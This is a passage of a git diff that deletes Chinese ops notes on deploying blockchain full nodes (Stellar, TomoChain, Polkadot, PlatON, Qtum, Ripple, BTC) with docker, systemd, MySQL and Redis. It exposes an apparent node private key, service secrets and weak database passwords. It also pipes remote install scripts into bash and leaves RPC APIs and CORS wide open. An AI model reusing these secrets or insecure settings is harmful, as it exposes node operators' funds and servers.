17.03.2-ce+ - 2 Core CPU or above - 8G Memory or above - 300G Storage or above - 10Mbit/s bandwidth or above - NTP service on - -- 通过容器进行部署 -```bash -# mainnet: -docker run --rm -it -v "/data/stellar:/opt/stellar" -p "8000:8000" --name stellar stellar/quickstart --pubnet -# 退出容器,配置文件中,export PER_HOUR_RATE_LIMIT改为72000000 -vi /data/stellar/horizon/etc/horizon.env -# 后台启动 -docker run -d -v "/data/stellar:/opt/stellar" -p "8000:8000" --name stellar stellar/quickstart --pubnet - -# testnet: -docker run -it -p "8000:8000" -v "/data/stellar:/opt/stellar" --name stellar stellar/quickstart --testnet -# 设置完数据库的密码后,退出,再启动容器。 -docker start 容器id -``` -```bash -nginx 连接节点的配置示范。 -server { - listen 80; - server_name xml-testnet.cybex.io; - location / { - proxy_http_version 1.1; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header Host $host; - proxy_pass http://127.0.0.1:8000; - } - access_log /var/log/nginx/xml-testnet_access.log ; - error_log /var/log/nginx/xml-testnet_error.log ; -} -``` -#### 运维须知 -- 默认端口 - rpc和p2p: 8000 - -- 指令查看块高(容器内操作) - /usr/local/bin/stellar-core offline-info | grep num - -- API查看块高 - curl 127.0.0.1:8000 | grep core_latest_ledger \ No newline at end of file diff --git a/blockchain/fullnode/13 TOMO.md b/blockchain/fullnode/13 TOMO.md deleted file mode 100644 index 89dda8e..0000000 --- a/blockchain/fullnode/13 TOMO.md +++ /dev/null @@ -1,97 +0,0 @@ -[TOC] -git仓库 -https://github.com/tomochain/tomochain -- 部署文档 -https://docs.tomochain.com/masternode/docker/ - -#### 准备 -2 Core CPU or above -8G Memory or above -300G Storage or above -10Mbit/s bandwidth or above -NTP service on -docker 19+ - -### 部署 Vechain -- 部署方式:dcoker -```bash 主网 -# 下载主网的块高镜像 -mkdir -p /data/tomochain/chaindata -wget https://chaindata.tomochain.com/20190813.tar -tar -xvf 20190813.tar -C /data/tomochain/chaindata/tomo/ - -# 配置启动 -MASTERNODE_NAME='gary_tomo_maintest01' # 自定义,且全网唯一 -BOOTNODES="enode://97f0ca95a653e3c44d5df2674e19e9324ea4bf4d47a46b1d8560f3ed4ea328f725acec3fcfcb37eb11706cf07da669e9688b091f1543f89b2425700a68bc8876@104.248.98.78:30301,enode://b72927f349f3a27b789d0ca615ffe3526f361665b496c80e7cc19dace78bd94785fdadc270054ab727dbb172d9e3113694600dd31b2558dd77ad85a869032dea@188.166.207.189:30301,enode://c8f2f0643527d4efffb8cb10ef9b6da4310c5ac9f2e988a7f85363e81d42f1793f64a9aa127dbaff56b1e8011f90fe9ff57fa02a36f73220da5ff81d8b8df351@104.248.98.60:30301" -STATS_WS_SECRET='getty-site-pablo-auger-room-sos-blair-shin-whiz-delhi' - -CONTAINER_NAME='gary_tomo_maintest01' # 自定义 -docker run -d --name \ - -e IDENTITY=$MASTERNODE_NAME \ - -e BOOTNODES=$BOOTNODES \ - -e NETSTATS_HOST=stats.tomochain.com \ - -e NETSTATS_PORT=443 \ - -e WS_SECRET=$STATS_WS_SECRET \ - -e NETWORK_ID=88 \ - -p 8545:8545 \ - -p 8546:8546 \ - -p 30303:30303 \ - -p 30303:30303/udp \ - -v /data/tomochain/chaindata:/tomochain/data \ - tomochain/node:stable - ``` - - ```bash 测试网 -MASTERNODE_NAME='gary_tomo_testnet' # 自定义,全网唯一 -STATS_WS_SECRET='anna-coal-flee-carrie-zip-hhhh-tarry-laue-felon-rhine' -BOOTNODES='enode://4d3c2cc0ce7135c1778c6f1cfda623ab44b4b6db55289543d48ecfde7d7111fd420c42174a9f2fea511a04cf6eac4ec69b4456bfaaae0e5bd236107d3172b013@52.221.28.223:30301,enode://ce1191bf9a634e7939676d136816ad84941b079c03d6a96e64cca35852363012169055c6879c644e821dc236a01d0499a1b7ff39e9518dbc00da87c7f1898604@13.251.101.216:30301,enode://46dba3a8721c589bede3c134d755eb1a38ae7c5a4c69249b8317c55adc8d46a369f98b06514ecec4b4ff150712085176818d18f59a9e6311a52dbe68cff5b2ae@13.250.94.232:30301' - -CONTAINER_NAME='gary_tomo_testnet' # 自定义 -docker run -d --name ${CONTAINER_NAME} \ - -e IDENTITY=$MASTERNODE_NAME \ - -e BOOTNODES=$BOOTNODES \ - -e NETSTATS_HOST=wss://stats.testnet.tomochain.com \ - -e NETSTATS_PORT=443 \ - -e WS_SECRET=$STATS_WS_SECRET \ - -e NETWORK_ID=89 \ - -p 8545:8545 \ - -p 8546:8546 \ - -p 30303:30303 \ - -p 30303:30303/udp \ - -v /data/tomochain/chaindata:/tomochain/data \ - tomochain/node:testnet - -或者(不推荐) -https://docs.tomochain.com/masternode/tmn/ -tmn start --name wx-testnet-node --net testnet --pkey 2abe0b258d33d635b97579b0940369e42843688750919671a06d4f2f3591f111 - ``` - - -### 运维须知 -1. 默认端口: - p2p: 30303 - rpc: 8545 - ws: 8546 -2. 查块日志 -docker logs -f -t --tail 100 容器ID - -3. API查看块高 -printf %d `curl -sS -H "Content-Type:application/json" 127.0.0.1:8545 -X POST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' | grep -Po 'result[" :]+\K[^"]+'` -- 官方IP -https://rpc.tomochain.com/blockNumber - -4. -curl --request POST --url 127.0.0.1:8545 --header 'content-type: application/json' --data '{"jsonrpc":"2.0","method":"net_peerCount","params":[],"id":74}' - -4. 区块链浏览器 - - 主网 https://scan.tomochain.com/blocks - - 测试网 https://stats.testnet.tomochain.com/ - -### 升级步骤: - 1. 给原来的镜像打tag - 2. nmt 执行相关命令 - 3. 修改docker内的hostconfig.json文件,添加下面的信息 - ,"8545/tcp":[{"HostIp":"","HostPort":"8545"}],"8546/tcp":[{"HostIp":"","HostPort":"8546"}] - 4.关闭容器,重启docker,启动容器。 - 5.查看日志,上区块链游览器查看全节点的恢复情况。 - 升级后版本:1.5.4 diff --git a/blockchain/fullnode/14 Polkadot.md b/blockchain/fullnode/14 Polkadot.md deleted file mode 100644 index 3fa670c..0000000 --- a/blockchain/fullnode/14 Polkadot.md +++ /dev/null @@ -1,144 +0,0 @@ -### Polkadot部署 -- 部署准生产网 -- 参考 https://wiki.polkadot.network/docs/zh-CN/maintain-sync "快速安装说明 (Linux)" 部分 - -1. 下载启动 -curl -sL https://github.com/paritytech/polkadot/releases/download/v0.7.30/polkadot -o polkadot -curl -sL https://github.com/paritytech/polkadot/releases/download/v0.8.14/polkadot -curl -O https://github.com/paritytech/polkadot/releases/download/v0.8.0/polkadot -wget https://github.com/paritytech/polkadot/releases/download/v0.8.22/polkadot - -sudo chmod +x polkadot - -./polkadot --pruning archive --name "gary_kusama_node01" --chain kusama -d /data/polkadot --rpc-external --ws-external --rpc-cors all - -启动参数说明: ---pruning archive 运行归档节点,同步所有的区块 ---name 指定节点名 --d,--base-path 指定运行目录 ---rpc-external 监听所有rpc接口 ---rpc-external 监听所有websocket接口 ---rpc-cors all 允许远程访问节点需要开启 ---rpc-port 指定http rpc端口,默认9933 ---ws-port 指定websocket rpc端口,默认9944 ---chain 指定要使用的网络,默认为Polkadot CC1网络, kusama是准生产网。 ---wasm-execution Compiled 使此节点使用更多的CPU和RAM,同步速度能达到4倍。建议在同步结束后关闭这个参数。 -其他参数说明使用 --help 查看 - -2. 服务化 -vi start.sh -``` -log=/home/polkadot/logs/kusama`date '+%Y-%m-%d'`.log -/home/polkadot/polkadot --pruning archive --name "gary_kusama_node02" -d /data/polkadot --rpc-external --ws-external --rpc-cors all --chain polkadot >> $log 2>&1 -``` -vi /etc/systemd/system/polkadot.service -```conf -[Unit] -Description=Polkadot - -[Service] -User=polkadot -Group=polkadot -ExecStart=/bin/bash /home/polkadot/start.sh -Restart=always - -[Install] -WantedBy=multi-user.target -``` - -3. 安装时遇到的错误 -libstdc++.so.6: version `GLIBCXX3.4.22’ not found -```bash 解决办法 -# https://blog.csdn.net/u011961856/article/details/79644342?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase -strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBCXX # 查看当前版本的GLIBCXX -apt-get install libstdc++6 # 安装最新的libstdc++6 -# 没有安装成功则添加ppa源,再更新安装 -sudo add-apt-repository ppa:ubuntu-toolchain-r/test -sudo apt-get update -sudo apt-get upgrade -sudo apt-get dist-upgrade -# -strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBCXX -``` -### Polkadot运维 -0. 默认端口 - - RPC 9933 - - WS 9944 - - P2P 30333 -1. 区块链浏览器 - https://telemetry.polkadot.io/#list/Kusama - -2. RPC文档: - https://wiki.polkadot.network/docs/en/build-node-interaction#polkadot-rpc - -3. API获取本地块高: -echo $((`curl -H "Content-Type: application/json" -d '{"id":1, "jsonrpc":"2.0", "method": "chain_getBlock"}' http://localhost:9933/ | jq .result.block.header.number | tr \" " "`)) - - - - -### subscan-essentials 部署 -https://github.com/garysHub/subscan-essentials.git - -1. vi docker-compose-full.yml -2. docker-compose build -3. docker-compose -f docker-compose-full.yml up -d mysql -4. docker-compose -f docker-compose-full.yml up -d - -5. 获取块高同步信息 -进入redis,get "kusama:FillAlreadyBlockNum" -6. 从特定块高开始同步,需要先关闭subscan-daemon和subscan-api,修改完值后再启动。 -进入redis, set "kusama:FillAlreadyBlockNum" 数值 -```Dockerfile docker-compose-full.yml -version: "2.4" - -services: - redis: - image: redis:3.2.11 - hostname: redis - restart: always - - mysql: - image: mysql:latest - hostname: mysql - volumes: - - 'db-data:/var/lib/mysql' - ports: - - '33061:3306' - environment: - - MYSQL_ROOT_PASSWORD=root - - MYSQL_DATABASE=subscan - restart: always - subscan-api: &app_base - image: scan/backend - init: true - build: . - environment: - MYSQL_HOST: mysql - MYSQL_PASS: 'root' - MYSQL_DB: 'subscan' - REDIS_ADDR: redis:6379 - CHAIN_WS_ENDPOINT: 'ws://${IP}:9944' - NETWORK_NODE: 'polkadot' - WEB_HOST: 'http://subscan-api:4399' - ports: - - '3000:4399' -# networks: -# - app_net - command: ["/subscan/cmd/subscan","--conf","../configs"] - depends_on: - - redis - - mysql - restart: always - subscan-daemon: - <<: *app_base - image: scan/backend - ports: [] - command: ["python","run.py","substrate"] - depends_on: - - redis - - mysql - restart: always -volumes: - db-data: -``` \ No newline at end of file diff --git a/blockchain/fullnode/15 platon.md b/blockchain/fullnode/15 platon.md deleted file mode 100644 index 4e43da4..0000000 --- a/blockchain/fullnode/15 platon.md +++ /dev/null @@ -1,108 +0,0 @@ -文档 -https://platonnetwork.github.io/Docs/#/zh-cn/Network/[Chinese-Simplified]-%E8%BF%9E%E6%8E%A5%E5%85%AC%E6%9C%89%E7%BD%91%E7%BB%9C - -区块链游览器 -https://platscan.test.platon.network/ - - -### 安装部署 -- 安装文档 -https://devdocs.platon.network/docs/zh-CN/Install_Node/ -- 节点秘钥生成文档: -https://platonnetwork.github.io/Docs/#/zh-cn/Node/_[Chinese-Simplified]-%E9%92%B1%E5%8C%85%E6%96%87%E4%BB%B6%E4%B8%8E%E8%8A%82%E7%82%B9%E5%AF%86%E9%92%A5?id=%e8%8a%82%e7%82%b9%e5%af%86%e9%92%a5 - -- 硬件要求 -Ubuntu 18.04.1 及以上 -cpu: 4核 -内存:8G -磁盘:> 100G - -1. 安装并运行NTP服务 -apt-get update -apt-get install -y gnupg2 curl software-properties-common ntp -systemctl enable ntp && sudo systemctl start ntp - -2. 安装PlatON -add-apt-repository ppa:ppatwo/platon -apt-get update -apt-get install platon0.12.1 - -执行完上述命令后,platon和keytool二进制就已经成功安装到您系统上的/usr/bin目录里 - -3. 查看版本 -platon version - - -4. 创建节点密钥 - 1. 创建数据目录 - mkdir /opt/platon/data - 2. 生成节点密钥文件 - export datadir=/opt/platon/data - 3. 生成节点公私钥: - keytool genkeypair | tee >(grep "PrivateKey" | awk '{print $2}' >$datadir/nodekey) >(grep "PublicKey" | awk '{print $3}' >$datadir/nodeid) - 4. 生成节点BLS公私钥: - keytool genblskeypair | tee >(grep "PrivateKey" | awk '{print $2}' >$datadir/blskey) >(grep "PublicKey" | awk '{print $3}' >$datadir/blspub) - - -6. 关于网络的说明 - -PlatON目前有2个公有网络,一个是还未正式上线的、独立运行的 PlatON 主网络,ChainID为 100。 -另外一个是已经于北京时间 2020-2-20日 正式上线的用来对开发者开放的测试网络贝莱世界,ChainID为 102。 -主网目前还未正式上线。 - - 在加入PlatON公有网络前请确保服务器本地具备以下条件 : - 1. 已经按照PlatON安装指南安装好PlatON环境或编译好PlatON可执行文件’platon’和’keytool’。 - 2. 已经按照节点密钥章节在’~/platon-node/data’目录下生成了节点私钥和节点BLS私钥。 - -7. 启动归档节点 - - 执行以下命令即可启动验证节点加入贝莱世界: -cd /data/platon/ -nohup platon --identity platon --datadir ./data --port 16789 --db.nogc --rpcvhosts \* --testnet --rpcport 6789 --rpcapi "db,platon,net,web3,admin,personal" --rpc --nodekey ./data/nodekey --cbft.blskey ./data/blskey --verbosity 3 --rpcaddr 0.0.0.0 --syncmode "full" > ./data/platon.log 2>&1 & - - -参数说明: ---identity 指定网络名称 ---datadir 指定 data 目录路径 ---rpcaddr 指定 rpc 服务器地址 ---rpcport 指定 rpc 协议通信端口 ---rpcapi 指定节点开放的 rpcapi 名称 ---rpc 指定 http-rpc 通讯方式 ---nodekey 指定节点私钥文件 ---cbft.blskey 指定节点 bls 私钥文件 ---testnet 指定连接到测试网络,不指定默认运行主网络 ---syncmode fast:快速同步模式,full:全同步模式 ---db.nogc 开启归档模式 - -### 运维 -1. 默认端口 - p2p: 16789 - rpc: 6789 -2. 指令操作 -- 通过http方式进入platon控制台: - platon attach http://localhost:6789 - - 查看节点的peers: - admin.peers - - 查看当前块高: - platon.blockNumber - - 通过hash获取交易信息 - platon.getTransactionReceipt(’hash‘) - - 本地节点的交易池 - platon.pendingTransactions -- platon attach http://localhost:6789 -exec platon.blockNumber -3. API 操作 - -4. 查看钱包地址交易信息 - - 从区块链游览器 - https://platscan.test.platon.network/address-detail?address=0x1c2d7dbd54b803121d829cfe00893f1a6352e5a2 - - 从本地节点 - http://${IP}:3000/platontxs?and=(contract_to.eq.,or(txfrom.eq.0x1c2d7dbd54b803121d829cfe00893f1a6352e5a2,txto.eq.0x1c2d7dbd54b803121d829cfe00893f1a6352e5a2))&order=time.desc&limit=10&offset=0 - -http://${IP}:3000/platontxs?and=(contract_to.eq.,or(txfrom.eq.0x1c2d7dbd54b803121d829cfe00893f1a6352e5a2,txto.eq.0x1c2d7dbd54b803121d829cfe00893f1a6352e5a2))&order=time.desc&limit=10&offset=0 - -### 索引库 -https://git.i.garys.top/project/src/platon-indexer - -pip uninstall web3 -pip install web3==4.9.0 - -pip install client_sdk_python \ No newline at end of file diff --git a/blockchain/fullnode/2 Qtum.md b/blockchain/fullnode/2 Qtum.md deleted file mode 100644 index 670c304..0000000 --- a/blockchain/fullnode/2 Qtum.md +++ /dev/null @@ -1,486 +0,0 @@ - -[TOC] -## 部署Qtum -- 使用源码进行安装部署 -### 1.安装gcc -yum -y update gcc -yum -y install gcc+ gcc-c++ - -### 2.安装glibc2.18 - -```bash -mkdir /data/glibc && cd /data/glibc -wget http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.18.tar.gz -tar zxvf glibc-2.18.tar.gz -mkdir -p glibc-2.18/build && cd glibc-2.18/build -../configure --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin -make -j4 && make install - -# 校验 -strings /lib64/libc.so.6 | grep GLIBC -ll /lib64/libc.so.6 -``` - -### 3.安装gcc v7.4.0 - -```bash -mkdir /data/gcc && cd /data/gcc -wget https://mirrors.ustc.edu.cn/gnu/gcc/gcc-7.4.0/gcc-7.4.0.tar.gz -tar zxvf gcc-7.4.0.tar.gz -cd gcc-7.4.0/ -# 需要用到bzip2,wget工具 yum -y install bzip2 -./contrib/download_prerequisites -mkdir /usr/local/gcc-7.4.0 -cd /usr/local/gcc-7.4.0/ -# 到这里 -/data/gcc/gcc-7.4.0/configure -enable-checking=release -enable-languages=c,c++ -disable-multilib -make && make install -rpm -e gcc-c++-4.8.5-39.el7.x86_64 -rpm -e --nodeps gcc-4.8.5-39.el7.x86_64 - -cd /usr/lib64/ -cp /usr/local/gcc-7.4.0/stage1-x86_64-pc-linux-gnu/libstdc++-v3/src/.libs/libstdc++.so.6.0.24 ./ -rm -rf libstdc++.so.6 -ln -s libstdc++.so.6.0.24 libstdc++.so.6 -ln -s /usr/local/bin/gcc /usr/local/bin/cc -reboot - -# 验证 -gcc -v -cc -v -``` -### 4.日志配置 -```bash -mkdir /data/logs -yum install rsyslog -y -cat << EOF > /etc/rsyslog.d/qtum.conf -if \$programname == 'qtumd' then /data/logs/qtumd.log -EOF - -cat << EOF > /etc/rsyslog.d/qtuminfo.conf -if \$programname == 'qtuminfod' then /data/logs/qtuminfod.log -EOF - -systemctl restart rsyslog.service -``` - -### 5.安装qtum-core - -```bash -# boost -cd /data -yum install -y python-devel bzip2-devel lbzip2 -yum install -y epel-release -yum install -y libtool libdb4-cxx-devel openssl-devel libevent-devel gmp-devel -git clone https://github.com/boostorg/boost.git -cd boost -git checkout boost-1.66.0 -git submodule update --init --recursive -./bootstrap.sh --prefix=/usr --libdir=/usr/lib64 -./b2 headers -./b2 -j4 install - -# qtumd -cd /data -git clone --recursive https://github.com/qtumproject/qtum.git --branch=qtuminfo -cd qtum -# 本文档使用qtuminfo分支,默认会克隆qtuminfo分支下来 -./autogen.sh -./configure -make -j4 - -mkdir /data/qtum_data - -cat > /data/qtum_data/qtum.conf << EOF -logevents=1 -rpcuser=user -rpcpassword=password -EOF - -cat > /usr/lib/systemd/system/qtumd.service << EOF -[Unit] -Description=Qtum-Core -Documentation=https://github.com/qtumproject/qtum -After=network.target -BoundBy=qtuminfod.service - -[Service] -StandardOutput=syslog -StandardError=syslog -SyslogIdentifier=qtumd -Type=simple -ExecStart=/data/qtum/src/qtumd --conf=/data/qtum_data/qtum.conf --datadir=/data/qtum_data -#ExecStart=/data/qtum/src/qtumd -testnet --conf=/data/qtum_data/qtum.conf --datadir=/data/qtum_data -ExecStop=/bin/kill -s QUIT $MAINPID -Restart=always -StartLimitInterval=0 -RestartSec=10 - -[Install] -WantedBy=multi-user.target -EOF - -systemctl daemon-reload -systemctl start qtumd.service && systemctl status qtumd.service -systemctl enable qtumd.service - -# 高度验证 -/data/qtum/src/qtum-cli -conf=/data/qtum_data/qtum.conf -datadir=/data/qtum_data/ -getinfo -#/data/qtum/src/qtum-cli -testnet -conf=/data/qtum_data/qtum.conf -datadir=/data/qtum_data/ -getinfo -``` - -### 6.安装qtuminfo - -#### 6.1.安装node v12 - -```bash -curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash -source /root/.bashrc -nvm install v12.13.0 - -# 验证 -node -v -``` - -#### 6.2.安装配置mysql v8 - -```bash -yum install https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm -yum makecache -yum install -y mysql-server - -# 修改数据目录 -mkdir /data/mysql -chown mysql:mysql /data/mysql -vim /etc/my.cnf ------ -datadir=/data/mysql -log-error=/data/logs/mysqld.log ------ - -touch /data/logs/mysqld.log -chown mysql:mysql /data/logs/mysqld.log -mkdir -p /var/lib/mysql -chown -R mysql:mysql /var/lib/mysql -systemctl start mysqld -systemctl status mysqld - -grep "password" /data/logs/mysqld.log -# A temporary password is generated for root@localhost: Brr25oOJHs*u - -mysql -u root -p -mysql> set global validate_password.policy=0; -mysql> set global validate_password.length=4; -mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'garys@123'; -mysql> CREATE DATABASE IF NOT EXISTS qtum_mainnet; -mysql> CREATE DATABASE IF NOT EXISTS qtum_testnet; -mysql> CREATE USER 'qtum'@'%' IDENTIFIED WITH mysql_native_password BY 'qtum123'; -mysql> GRANT ALL PRIVILEGES ON qtum_mainnet.* TO 'qtum'@'%' WITH GRANT OPTION; -mysql> GRANT ALL PRIVILEGES ON qtum_testnet.* TO 'qtum'@'%' WITH GRANT OPTION; -mysql> FLUSH PRIVILEGES; -mysql> exit - -mysql -u qtum -p -mysql> show databases; -+--------------------+ -| Database | -+--------------------+ -| information_schema | -| qtum_mainnet | -| qtum_testnet | -+--------------------+ -3 rows in set (0.00 sec) -``` - -#### 6.3.安装qtuminfo - -```bash -cd /data -git clone https://github.com/qtumproject/qtuminfo.git -cd qtuminfo && npm install - -# 初始化数据库 -#sed -i "s/utf8mb4_unicode_ci/utf8mb4_0900_ai_ci/g" /data/qtuminfo/doc/structure.sql -mysql -u qtum -p -mysql> use qtum_testnet; -Database changed -mysql> source /data/qtuminfo/doc/structure.sql -... -Query OK, 0 rows affected - -vim qtuminfo-node.json ---- -"chain": "mainnet", -"uri": "mysql://qtum:qtum123@localhost/qtum_mainnet" -"rpc"."port": 3889, -"peer"."port": 3888 ---- -"chain": "testnet", -"uri": "mysql://qtum:qtum123@localhost/qtum_testnet" -"rpc"."port": 13889, -"peer"."port": 13888 ---- -``` - -#### 6.4.服务化qtuminfo进程 - -```bash -# 配置启动文件start.sh -cat > /data/qtuminfo/start.sh << EOF -export PATH=$PATH:/data/qtuminfo/bin:/root/.nvm/versions/node/v12.13.0/bin/ -cd /data/qtuminfo -/data/qtuminfo/bin/qtuminfo-node.js start -EOF -# 配置服务 -cat > /usr/lib/systemd/system/qtuminfod.service << EOF -[Unit] -Description=Qtum-Info -After=network.target qtumd.service -BindsTo=qtumd.service - -[Service] -StandardOutput=syslog -StandardError=syslog -SyslogIdentifier=qtuminfod -ExecStart=/bin/bash /data/qtuminfo/start.sh -ExecStop=/bin/kill -s QUIT $MAINPID -Restart=always -StartLimitInterval=0 -RestartSec=10 - -[Install] -WantedBy=multi-user.target -EOF - -systemctl daemon-reload -systemctl start qtuminfod.service && systemctl status qtuminfod.service -systemctl enable qtuminfod.service -``` - -### 7.安装qtuminfo-api/ui - -#### 7.1.安装配置redis 5 - -```bash -mkdir /data/redis && cd /data/redis -wget http://download.redis.io/releases/redis-5.0.6.tar.gz -tar zxvf redis-5.0.6.tar.gz -cd redis-5.0.6/ -make MALLOC=libc -cd src -make install - -# 修改主配置文件redis.conf ---- -requirepass qtuminfo -dir /data/redis_data -logfile "/data/logs/redisd.log" ---- - -# 服务化redis进程 -cat > /usr/lib/systemd/system/redisd.service << EOF -[Unit] -Description=Redis-Server - -[Service] -ExecStart=/data/redis/redis-5.0.6/src/redis-server /data/redis/redis-5.0.6/redis.conf -ExecStop=/bin/kill -s QUIT $MAINPID -Restart=always -StartLimitInterval=0 -RestartSec=10 - -[Install] -WantedBy=multi-user.target -EOF - -# 启动 -systemctl enable redisd -systemctl start redisd && systemctl status redisd -``` - -#### 7.2.安装配置qtuminfo-api - -```bash -cd /data/ -git clone https://github.com/qtumproject/qtuminfo-api.git -# 本文档使用master分支 -cd qtuminfo-api && npm install - -# 以下为测试网配置文件 -# 主网则 修改13889为3889,testnet为mainnet,数据库qtum_mainnet -cat > /data/qtuminfo-api/config/config.default.js << EOF -const path = require('path') -const Redis = require('ioredis') - -const redisConfig = { -host: 'localhost', -port: 6379, -password: 'qtuminfo', -db: 0 -} - -exports.keys = 'qtuminfo-api' - -exports.security = { -csrf: {enable: false} -} -#exports.middleware = ['ratelimit'] - -exports.redis = { -client: redisConfig -} - -exports.ratelimit = { -db: new Redis(redisConfig), -headers: { -remaining: 'Rate-Limit-Remaining', -reset: 'Rate-Limit-Reset', -total: 'Rate-Limit-Total', -}, -disableHeader: false, -errorMessage: 'Rate Limit Exceeded', -duration: 10 * 60 * 1000, -max: 10 * 60 -} - -exports.io = { -redis: { -...redisConfig, -key: 'qtuminfo-api-socket.io' -}, -namespace: { -'/': {connectionMiddleware: ['connection']} -} -} - -exports.sequelize = { -dialect: 'mysql', -database: 'qtum_testnet', -host: 'localhost', -port: 3306, -username: 'qtum', -password: 'qtum123' -} - -exports.qtum = { -chain: 'testnet' -} - -exports.qtuminfo = { -path: path.resolve('..', 'qtuminfo'), -port: 3001, -rpc: { -protocol: 'http', -host: 'localhost', -port: 13889, -user: 'user', -password: 'password' -} -} - -exports.cmcAPIKey = null - -EOF - -# 编写启动脚本 -vim /data/qtuminfo-api/start.sh ---- -# /bin/bash -export PATH=$PATH:/root/.nvm/versions/node/v12.13.0/bin/ -cd /data/qtuminfo-api -echo '程序web日志存在~/logs目录下' > /data/logs/qtuminfo-apid.log -npm start >> /data/logs/qtuminfo-apid.log ---- - -# 服务化进程 -# 首先修改package.json文件 -sed -i "s/--daemon//" package.json - -cat > /usr/lib/systemd/system/qtuminfo-apid.service << EOF -[Unit] -Description=Redis-Server -After=redisd.service qtuminfod.service -Requires=redisd.service qtuminfod.service -[Service] -ExecStart=/bin/bash /data/qtuminfo-api/start.sh -ExecStop=/bin/kill -s QUIT $MAINPID -Restart=always -StartLimitInterval=0 -RestartSec=20 - -[Install] -WantedBy=multi-user.target -EOF -# 配置,启动 -systemctl enable qtuminfo-apid -systemctl start qtuminfo-apid && systemctl status qtuminfo-apid -# 验证 -curl localhost:7001/info -``` - -#### 7.3.安装qtuminfo-ui [TODO] - -```bash -cd /data/ -git clone https://github.com/qtumproject/qtuminfo-ui.git -cd qtuminfo-ui && npm install -[TODO] -``` - -#### 7.4.反代 [TODO] - -```nginx -server { -listen 80; -listen [::]:80; -server_name qinfo.garys.net; -location / { -proxy_pass http://127.0.0.1:3000; -proxy_redirect off; -proxy_set_header Host \$host; -proxy_set_header X_Real_IP \$remote_addr; -proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; -proxy_set_header X-Nginx-Proxy true; -} -location /api/ { -proxy_pass http://127.0.0.1:7001; -proxy_redirect off; -proxy_set_header Host \$host; -proxy_set_header X_Real_IP \$remote_addr; -proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; -proxy_set_header X-Nginx-Proxy true; -} - -access_log /var/log/nginx/qtum.info.access.log; -error_log /var/log/nginx/qtum.info.error.log; -} -``` -## 2 Qtum运维须知 - -1. 启动服务进程 rsyslog - - 作为qtum-core服务 和 qtuminfo服务 的日志模块 - -2. qtum-core:扫描公网同步块高的核心二进制程序 - - 服务化qtum-core二进制程序为qtumd服务 - - 启动服务进程 qtumd 默认p2p端口: 3888 - -3. qtuminfo 和 qtuminfo-api 模块 基于node编写而成 - -4. qtuminfo:将数据块存在mysql里 - - 服务化qtuminfo程序为qtuminfod服务,强依赖于qtumd服务 - - 启动服务进程 mysql-v8 默认端口: 3006 - - 启动服务进程 qtuminfod 默认端口: 3001 - -5. qtuminfo-api - - 后台启动进程 redis-v5 默认端口: 6379 - - 启动qtuminfo-api进程 npm start 默认RPC端口: 7001 - -6. 日志位置 - - /data/logs目录下:mysqld.log qtumd.log qtuminfod.log - - qtuminfo-api的日志在启动程序用户的家目录下 - - redis日志在 /data/redis - -7. API查看块高命令 - - curl localhost:7001/info - - diff --git a/blockchain/fullnode/3 Ripple-XRP.md b/blockchain/fullnode/3 Ripple-XRP.md deleted file mode 100644 index e425d66..0000000 --- a/blockchain/fullnode/3 Ripple-XRP.md +++ /dev/null @@ -1,48 +0,0 @@ -[TOC] -- 5M带宽跑,块高完成同步失败;10M带宽跑,失败。 -- 使用apt的包进行安装 -- rippled version 1.3.1 -### 部署Ripple XRP -```shell -apt -y update - -apt -y install apt-transport-https ca-certificates wget gnupg - -wget -q -O - "https://repos.ripple.com/repos/api/gpg/key/public" | apt-key add - - -apt-key finger - -echo "deb https://repos.ripple.com/repos/rippled-deb bionic stable" | tee -a /etc/apt/sources.list.d/ripple.list - -apt -y update - -apt -y install rippled - -systemctl status rippled.service -# 修改以下文件,配置节点信息。例如 块高存储位置,日志位置等等。 -vim /opt/ripple/etc/rippled.cfg - # 如果从0开始同步快高则要添加如下配置 - [ips_fixed] - s2.ripple.com 51235 -# 修改以下文件,决定此节点是mainnet还是testnet -vim /opt/ripple/etc/validators.txt - # testnet - [validator_list_sites] https://vl.altnet.rippletest.net - [validator_list_keys] ED264807102805220DA0F312E71FC2C69E1552C9C5790F6C25E3729DEB573D5860 - # mainnet - [validator_list_sites] https://vl.ripple.com - [validator_list_keys] ED2677ABFFD1B33AC6FBC3062B71F1E8397C1505E1C42C64D11AD1B28FF73F4734 -``` -### 运维须知 -1. 默认端口 - p2p:51235 - RPC:5005 - ws: 6006 -2. 查看连接上的节点 - /opt/ripple/bin/rippled peers -3. 手动连接一个节点 - connect [] -4. 指令查看块高 - /opt/ripple/bin/rippled ledger | grep seqNum -5. 获取本地节点的信息 - /opt/ripple/bin/rippled server_info \ No newline at end of file diff --git a/blockchain/fullnode/4-1 BTC.md b/blockchain/fullnode/4-1 BTC.md deleted file mode 100644 index 6b894ad..0000000 --- a/blockchain/fullnode/4-1 BTC.md +++ /dev/null @@ -1,75 +0,0 @@ -[TOC] -### 部署BTC -- 使用node进行安装部署 -```shell -apt-get install libzmq3-dev build-essential - -useradd -m -r bitcoin - -su - bitcoin - -curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.8/install.sh | bash - -nvm install v8 - -npm install bitcore -g - -rm 把子模块里的bitcore-lib都删除掉 -# 创建一个新的节点,会自动在家目录创建一个${name}文件夹 -name=bitnode -path=/data/btcfullnode -bitcore create $name -d $path -cd $path -# 安装insight-api insight-ui模块,使BTC的块高可以直接通过接口进行调用 -vim bitcore-node.json -{ - "network": "livenet", - "port": 3001, - "services": [ - "bitcoind", - "insight-api", - "insight-ui", - "web" - ], - "servicesConfig": { - "insight-api": { - "disableRateLimiter": true - }, - "bitcoind": { - "spawn": { - "datadir": "./data", - "exec": 